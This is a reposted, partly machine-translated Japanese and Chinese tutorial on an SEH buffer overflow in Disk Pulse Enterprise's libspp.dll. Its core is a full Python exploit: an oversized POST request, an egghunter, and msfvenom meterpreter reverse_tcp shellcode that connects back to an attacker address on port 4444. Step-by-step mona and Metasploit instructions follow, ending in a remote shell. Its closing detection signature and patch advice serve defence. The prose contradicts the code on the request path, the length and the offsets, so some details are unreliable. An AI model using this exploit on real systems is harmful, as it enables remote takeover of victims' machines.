ホームページ  >  記事  >  運用・保守  >  Disk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法

Disk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法

WBOY
WBOY転載
2023-05-18 15:04:071035ブラウズ

1. 脆弱性の紹介

Disk Pulse Enenterprise は、ディスクの変更を監視するソフトウェアであり、管理ポート 9120 または Web 管理ウィンドウ 80 を介してソフトウェアに接続して管理し、ディスクの変更を監視できます。 Disk Pulse Enterprise には、HTTP 操作を担当するいくつかの関数が含まれるダイナミック リンク ライブラリ libspp.dll があります。この問題は、このダイナミック リンク ライブラリで発生します。ポスト データを処理する際、ポスト データの長さは厳密に制御されていないため、これにより、取得したデータを実行する際に無効なメモリにデータがコピーされることでバッファオーバーフローが発生し、SEHの異常動作処理が引き起こされ、最終的にはEIPを制御して任意のコードを実行させてしまう。

ソフトウェア ダウンロード リンク: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps) /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

脆弱性公開アドレス: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits) /40452)

2. 実験環境

windows 7 x86: システム環境

IDA pro: 静的解析ツール

Immuneデバッガー: 脆弱性分析専用のデバッガー

WinDbg: 脆弱性デバッガー

3. 脆弱性分析

最初に、より包括的な POC を簡単に見てみましょう。バッファ オーバーフローの脆弱性が 1 つあります。この記事では、SEH 構造化例外ハンドラーと Egghunter テクノロジについて説明します。

SEH の概要

プログラミングに詳しい人は、ハードウェアおよびソフトウェアの例外を処理するためのウィンドウ メカニズムである構造化例外処理 (SEH) に精通しているかもしれません。これは通常、try/divide の合計の try/catch ブロックとして表現されます。

Egghunter 概要

簡単に言うと、マークをデザインして別のマークの位置にジャンプすることでシェルコードを実行するアドレッシング手法です。 Egghunter テクニックは、シェルコードをバッファに保存できない場合に必要です。

まず、POC を分析しましょう

#!/usr/bin/python
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.46.160',80))

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
buf =  ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29"
buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45"
buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a"
buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3"
buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19"
buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8"
buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20"
buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1"
buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80"
buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66"
buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65"
buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e"
buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f"
buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5"
buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94"
buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10"
buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46"
buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18"
buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97"
buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96"
buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d"
buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2"
buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f"
buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b"
buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae"
buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b"
buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9"
buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c"
buf += "\x3b\x9a\x01\x65"

#pop pop ret 1001A333

nseh = "\xEB\x0B\x90\x90"
seh = "\x33\xA3\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil =  "POST /admin  HTTP/1.1\r\n"
evil += "Host: 192.168.46.160\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 21000\r\n\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1554
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()

攻撃者は http リクエスト パッケージを作成しました。投稿リクエスト、URL は /login、コンテンツ長: 17000 であることがわかります。 12292 "\x41" バイトが送信され、次に "w00tw00t" 8 バイトが送信され、次に 20 "\x90" NOP バイトが送信され、その後 buf が送信され、さらに 50 NOP が送信されました。 1614 "\ "残っているのはバッファを埋めることだけです。

次に、Wen DBG を使用して、脆弱なバージョンのアプリケーションを開きます。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ペイロードを送信して脆弱性をトリガーします。 g を入力すると、戻りアドレスが上書きされ、kb は呼び出しのスタックを調べます。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ここでlibspp.dllのSCA_HttpParserのGetNextString関数を呼び出し、次にSHE異常動作処理に入り、SEHハンドラを上書きしてコード実行に至ります。

IDA を開いてポイント 10092822 を分析します。libspp の SCA_HttpParse クラスは、いくつかの HTTP 関連操作の処理を担当します。ポストデータの処理を担当する ExtractPostData という名前の関数があります。の入り口にブレークポイントを設定します。この機能。この関数のエントリ アドレスは 10092510

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

次の図に示すように、送信バッファは代替 POC を使用し、脆弱性を引き起こします。

# パラメータの転送状況を確認してください。後のデータは第 2 パラメータとして渡されます。完全に渡されていることに注意してください。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ここでシングルステップ追跡を続行し、前述の GetNetString 関数に到達します。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

この関数は 1 つのことを実行します。それは、後のデータである最初のパラメーターを分割し、後続の処理のために各部分を段階的に分離することです。初めて GetNextString を入力した後、最初のデータが分割されていることがわかります。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ユーザー名が初めて分離されます。次に、もう一度 GetNextString を入力して、2 番目の文字列の分割を開始します。この分割プロセスにより、一連のコピー操作が実行されます。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

之后看一下ECX的值

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析再来看一下GetNextString函数的伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

四、漏洞利用

首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

!mona pattern_create 20000

运行完在C:\日志\ FTPServer的\ pattern.txt中找到。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

!mona findmsp

查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

偏移量是14292。

接下来,要寻找pop pop ret的地址

使用!mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

设置的shellcode里面的

nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”

利用msf生成通用的shellcode,命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,打开的Metasploit

选择开发模式

输入命令,设置参数

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

五、漏洞利用特征:

请求方式:POST

请求路径:/登录

漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。

下载地址:https://www.diskpulse.com/downloads.html

以上がDisk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。